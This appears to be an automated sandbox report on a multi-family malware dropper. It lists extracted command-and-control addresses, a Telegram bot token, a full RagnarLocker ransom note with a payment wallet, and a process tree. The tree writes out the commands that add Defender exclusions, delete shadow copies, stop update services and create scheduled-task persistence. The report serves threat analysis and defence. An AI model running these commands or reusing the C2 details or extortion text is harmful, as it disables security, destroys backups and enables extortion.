Overview

overview

10

Static

static

3

PCCooker_x64.exe

windows7-x64

10

PCCooker_x64.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/09/2024, 15:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    PCCooker_x64.exe
  • Size 22.4MB
  • Sample240922-shf2xawanm
  • SHA256 d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
gurculummamarsstealerphorphiexragnarlockerredlinesquirrelwafflestealcxwormdefaultkoralogsdiller cloud (tg: @logsdillabot)penisqllbootkitcredential_accessdefense_evasiondiscoverydownloaderevasionexecutionimpactinfostealerloaderpersistenceransomwareratspywarestealertrojanupxworm

Malware Config

Extracted

Family

  • marsstealer

Botnet

  • Default

C2

  • kenesrakishev.net/wp-admin/admin-ajax.php

Extracted

Path

  • C:\Users\Public\Documents\RGNR_7AAB8A15.txt

Ransom Note
  • Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************
Wallets

  • 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4

URLs

  • https://tox.chat/download.html

Extracted

Family

  • xworm

Version

  • 5.0

C2

  • outside-sand.gl.at.ply.gg:31300

Mutex

  • uGoUQjcjqoZsiRJZ

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain
aes.plain

Extracted

Family

  • xworm

C2

  • 91.92.240.41:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    voldec.exe

Extracted

Family

  • stealc

Botnet

  • QLL

C2

  • http://85.28.47.70

Attributes
  • url_path

    /744f169d372be841.php

Extracted

Family

  • stealc

Botnet

  • kora

C2

  • http://185.215.113.100

Attributes
  • url_path

    /e2b1563c6670f193.php

Extracted

Family

  • stealc

Botnet

  • default

C2

  • http://45.152.113.10

Attributes
  • url_path

    /92335b4816f77e90.php

Extracted

Family

  • redline

Botnet

  • LogsDiller Cloud (TG: @logsdillabot)

C2

  • 193.233.255.84:4284

Extracted

Family

  • stealc

Botnet

  • penis

C2

  • http://185.196.9.140

Attributes
  • url_path

    /c3f845711fab35f8.php

Extracted

Family

  • lumma

C2

  • https://deallerospfosu.shop/api

Extracted

Family

  • gurcu

C2

  • https://api.telegram.org/bot962023231:AAG4by19NbHDMl2hPuMLesCOvrR264-4hSg/sendMessag

Signatures

  • Detect Xworm Payload 51 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

    stealergurcu
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Mars Stealer

    An infostealer written in C++ based on other infostealers.

    stealermarsstealer
  • Modifies security service 2 TTPs 3 IoCs
    evasion
  • Phorphiex payload 3 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • RagnarLocker

    Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.

    ransomwareragnarlocker
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • SquirrelWaffle is a simple downloader written in C++.

    SquirrelWaffle.

    downloadersquirrelwaffle
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Windows security bypass 2 TTPs 18 IoCs
    evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Renames multiple (7681) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Squirrelwaffle payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 33 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 28 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 21 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
      "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3088
      • C:\Users\Admin\AppData\Local\Temp\Files\cudo.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\cudo.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        PID:6724
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:8572
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:7648
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MSBuild.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:7640
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svcsys'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:5276
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svcsys'
            5⤵
            • System Location Discovery: System Language Discovery
            PID:8720
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svcsys" /tr "C:\ProgramData\svcsys"
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:10028
      • C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:8188
        • C:\Windows\sysmablsvr.exe
          C:\Windows\sysmablsvr.exe
          4⤵
          • Modifies security service
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • System Location Discovery: System Language Discovery
          PID:6256
          • C:\Users\Admin\AppData\Local\Temp\251451918.exe
            C:\Users\Admin\AppData\Local\Temp\251451918.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:9760
      • C:\Users\Admin\AppData\Local\Temp\Files\4434.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\4434.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        PID:7580
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:6664
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:8256
        • C:\Users\Admin\AppData\Local\Temp\Files\ulMkXbGa.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\ulMkXbGa.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:9168
        • C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3580
        • C:\Users\Admin\AppData\Local\Temp\Files\1.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:592
          • C:\Windows\sysarddrvs.exe
            C:\Windows\sysarddrvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: SetClipboardViewer
            PID:8628
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5360
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                PID:6664
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1568
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:8256
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:7544
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:9940
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                PID:5252
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:5756
        • C:\Users\Admin\AppData\Local\Temp\Files\76.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\76.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:8780
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4456
        • C:\Users\Admin\AppData\Local\Temp\Files\random.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:7536
        • C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          PID:5668
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
            4⤵
              PID:4492
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic diskdrive get Model
                5⤵
                  PID:7244
                • C:\Windows\system32\findstr.exe
                  findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
                  5⤵
                    PID:8912
              • C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4964
              • C:\Users\Admin\AppData\Local\Temp\Files\23c2343.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\23c2343.exe"
                3⤵
                • Executes dropped EXE
                PID:9092
              • C:\Users\Admin\AppData\Local\Temp\Files\66e1db883af59_def.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\66e1db883af59_def.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                PID:9400
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:8920
              • C:\Users\Admin\AppData\Local\Temp\Files\t.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5868
              • C:\Users\Admin\AppData\Local\Temp\Files\npp.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:6908
                • C:\Users\Admin\AppData\Local\Temp\90345194.exe
                  C:\Users\Admin\AppData\Local\Temp\90345194.exe
                  4⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:9740
                  • C:\Windows\sysklnorbcv.exe
                    C:\Windows\sysklnorbcv.exe
                    5⤵
                    • Modifies security service
                    • Windows security bypass
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Windows security modification
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: SetClipboardViewer
                    PID:912
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:6244
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        PID:7600
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:8756
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop UsoSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:6772
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop WaaSMedicSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:2684
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop wuauserv
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:6764
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop DoSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:6140
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop BITS
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:1480
              • C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\cab.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:10100
                • C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
                  C:\Users\Admin\AppData\Local\Temp\Files\cab.exe
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:9184
                  • C:\Windows\SysWOW64\whoami.exe
                    whoami
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:9744
              • C:\Users\Admin\AppData\Local\Temp\Files\Channel1.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\Channel1.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:8504
              • C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:7796
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  4⤵
                    PID:7400
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    4⤵
                    • Checks computer location settings
                    • System Location Discovery: System Language Discovery
                    PID:5284
                • C:\Users\Admin\AppData\Local\Temp\Files\66d0502b12496_MKna.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\66d0502b12496_MKna.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:8916
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
                    4⤵
                      PID:7740
                      • C:\Windows\system32\mode.com
                        mode 65,10
                        5⤵
                          PID:9880
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e file.zip -p151921358818216190771159712614 -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3912
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_9.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:316
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_8.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:8480
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_7.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:7336
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_6.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2932
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_5.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4384
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_4.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:7872
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_3.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2468
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_2.zip -oextracted
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:7072
                        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                          7z.exe e extracted/file_1.zip -oextracted
                          5⤵
                          • Loads dropped DLL
                          PID:1036
                        • C:\Windows\system32\attrib.exe
                          attrib +H "nRQUvisZS5yyGTCGUs.exe"
                          5⤵
                          • Views/modifies file attributes
                          PID:7056
                        • C:\Users\Admin\AppData\Local\Temp\main\nRQUvisZS5yyGTCGUs.exe
                          "nRQUvisZS5yyGTCGUs.exe"
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:9608
                    • C:\Users\Admin\AppData\Local\Temp\Files\66eea6336b153_app16540406983468141987.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\66eea6336b153_app16540406983468141987.exe"
                      3⤵
                      • Suspicious use of SetThreadContext
                      • System Location Discovery: System Language Discovery
                      PID:9524
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        4⤵
                        • System Location Discovery: System Language Discovery
                        • Modifies system certificate store
                        PID:8092
                    • C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:10216
                    • C:\Users\Admin\AppData\Local\Temp\Files\m.exe
                      "C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
                      3⤵
                        PID:6440
                      • C:\Users\Admin\AppData\Local\Temp\Files\66e014584fcee_w2.exe
                        "C:\Users\Admin\AppData\Local\Temp\Files\66e014584fcee_w2.exe"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:8684
                      • C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
                        "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
                        3⤵
                          PID:8836
                        • C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
                          "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:9280
                        • C:\Users\Admin\AppData\Local\Temp\Files\crypted8888.exe
                          "C:\Users\Admin\AppData\Local\Temp\Files\crypted8888.exe"
                          3⤵
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          PID:7900
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            4⤵
                              PID:2104
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4088
                          • C:\Users\Admin\AppData\Local\Temp\Files\11.exe
                            "C:\Users\Admin\AppData\Local\Temp\Files\11.exe"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:5508
                          • C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe
                            "C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:4004
                        • C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
                          "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
                          2⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:3300
                        • C:\Users\Admin\AppData\Local\Temp\asena.exe
                          "C:\Users\Admin\AppData\Local\Temp\asena.exe"
                          2⤵
                          • Drops startup file
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Writes to the Master Boot Record (MBR)
                          • Drops file in Program Files directory
                          • System Location Discovery: System Language Discovery
                          • Checks SCSI registry key(s)
                          • Suspicious use of WriteProcessMemory
                          PID:412
                          • C:\Windows\System32\Wbem\wmic.exe
                            wmic.exe shadowcopy delete
                            3⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2100
                          • C:\Windows\SYSTEM32\vssadmin.exe
                            vssadmin delete shadows /all /quiet
                            3⤵
                            • Interacts with shadow copies
                            PID:2820
                          • C:\Windows\SysWOW64\notepad.exe
                            C:\Users\Public\Documents\RGNR_7AAB8A15.txt
                            3⤵
                            • System Location Discovery: System Language Discovery
                            • Opens file in notepad (likely ransom note)
